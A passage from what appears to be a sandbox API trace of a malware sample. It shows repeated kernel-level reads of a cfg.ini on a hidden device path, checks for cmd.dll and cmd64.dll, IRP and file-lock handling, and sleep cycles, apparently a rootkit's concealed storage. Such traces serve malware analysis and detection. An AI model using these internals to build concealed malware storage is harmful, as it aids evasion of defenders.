lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.558] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.558] KeEnterCriticalRegion () [0123.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.558] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.558] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.558] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.558] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.558] IdePortDispatch () returned 0x103 [0123.558] KeWaitForMutexObject () returned 0x0 [0123.558] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.558] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.558] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.558] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.558] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.558] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beca70 [0123.558] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.558] KeLeaveCriticalRegion () [0123.558] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.558] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.558] KeEnterCriticalRegion () [0123.558] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.558] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.559] KeLeaveCriticalRegion () [0123.559] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.559] KeEnterCriticalRegion () [0123.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.559] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.559] IdePortDispatch () returned 0x103 [0123.559] KeWaitForMutexObject () returned 0x0 [0123.559] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.559] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.559] KeLeaveCriticalRegion () [0123.559] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.559] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.559] KeEnterCriticalRegion () [0123.559] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.559] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d1000 [0123.559] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.559] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.559] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.559] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.559] IdePortDispatch () returned 0x103 [0123.559] KeWaitForMutexObject () returned 0x0 [0123.560] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.560] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.560] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.560] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.560] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.560] IdePortDispatch () returned 0x103 [0123.560] KeWaitForMutexObject () returned 0x0 [0123.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.560] KeLeaveCriticalRegion () [0123.560] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.560] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.560] KeEnterCriticalRegion () [0123.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.560] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.560] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.560] KeLeaveCriticalRegion () [0123.560] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.560] KeEnterCriticalRegion () [0123.560] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.560] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.560] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bea510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.561] KeLeaveCriticalRegion () [0123.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.561] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.561] KeEnterCriticalRegion () [0123.561] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.561] ExFreePoolWithTag (P=0xfffffa8003beca70, Tag=0x0) [0123.561] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.561] KeLeaveCriticalRegion () [0123.561] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.561] ReleaseMutex (hMutex=0xf0) returned 1 [0123.561] Sleep (dwMilliseconds=0x124f80) [0123.574] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.574] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.574] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.574] KeEnterCriticalRegion () [0123.574] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.574] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.574] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.574] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.574] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.574] IdePortDispatch () returned 0x103 [0123.574] KeWaitForMutexObject () returned 0x0 [0123.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.575] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.575] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.575] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.575] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.575] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec260 [0123.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] KeLeaveCriticalRegion () [0123.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.575] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.575] KeEnterCriticalRegion () [0123.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] KeLeaveCriticalRegion () [0123.575] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.575] KeEnterCriticalRegion () [0123.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.575] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.575] IdePortDispatch () returned 0x103 [0123.575] KeWaitForMutexObject () returned 0x0 [0123.575] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.575] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] KeLeaveCriticalRegion () [0123.575] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.575] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.575] KeEnterCriticalRegion () [0123.575] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.575] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d6000 [0123.575] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.575] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.575] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.575] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.575] IdePortDispatch () returned 0x103 [0123.576] KeWaitForMutexObject () returned 0x0 [0123.576] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.576] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.576] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.576] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.576] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.576] IdePortDispatch () returned 0x103 [0123.576] KeWaitForMutexObject () returned 0x0 [0123.576] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.576] KeLeaveCriticalRegion () [0123.576] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.576] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.576] KeEnterCriticalRegion () [0123.576] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.576] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] KeLeaveCriticalRegion () [0123.577] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.577] KeEnterCriticalRegion () [0123.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.577] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] KeLeaveCriticalRegion () [0123.577] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.577] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.577] KeEnterCriticalRegion () [0123.577] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.577] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.577] KeLeaveCriticalRegion () [0123.577] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.577] ReleaseMutex (hMutex=0xf0) returned 1 [0123.577] Sleep (dwMilliseconds=0x124f80) [0123.594] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.594] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.594] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.595] KeEnterCriticalRegion () [0123.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.595] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.595] IdePortDispatch () returned 0x103 [0123.595] KeWaitForMutexObject () returned 0x0 [0123.595] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.595] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.595] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.595] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.595] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.595] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becf00 [0123.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.595] KeLeaveCriticalRegion () [0123.595] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.595] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.595] KeEnterCriticalRegion () [0123.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.595] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.595] KeLeaveCriticalRegion () [0123.595] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.596] KeEnterCriticalRegion () [0123.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.596] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.596] IdePortDispatch () returned 0x103 [0123.596] KeWaitForMutexObject () returned 0x0 [0123.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.596] KeLeaveCriticalRegion () [0123.596] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.596] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.596] KeEnterCriticalRegion () [0123.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034db000 [0123.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.596] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.596] IdePortDispatch () returned 0x103 [0123.596] KeWaitForMutexObject () returned 0x0 [0123.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.596] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.596] IdePortDispatch () returned 0x103 [0123.596] KeWaitForMutexObject () returned 0x0 [0123.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.597] KeLeaveCriticalRegion () [0123.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.597] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.597] KeEnterCriticalRegion () [0123.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.597] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.597] KeLeaveCriticalRegion () [0123.597] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.597] KeEnterCriticalRegion () [0123.597] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.597] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.597] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beccb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.597] KeLeaveCriticalRegion () [0123.597] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.597] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.597] KeEnterCriticalRegion () [0123.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.598] ExFreePoolWithTag (P=0xfffffa8003becf00, Tag=0x0) [0123.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.598] KeLeaveCriticalRegion () [0123.598] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.598] ReleaseMutex (hMutex=0xf0) returned 1 [0123.598] Sleep (dwMilliseconds=0x124f80) [0123.611] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.611] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.611] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.611] KeEnterCriticalRegion () [0123.611] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.611] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.611] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.611] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.611] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.611] IdePortDispatch () returned 0x103 [0123.611] KeWaitForMutexObject () returned 0x0 [0123.611] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.611] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.611] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.611] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.612] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.612] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bec720 [0123.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] KeLeaveCriticalRegion () [0123.612] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.612] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.612] KeEnterCriticalRegion () [0123.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.612] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] KeLeaveCriticalRegion () [0123.612] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.612] KeEnterCriticalRegion () [0123.612] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.612] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.612] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, 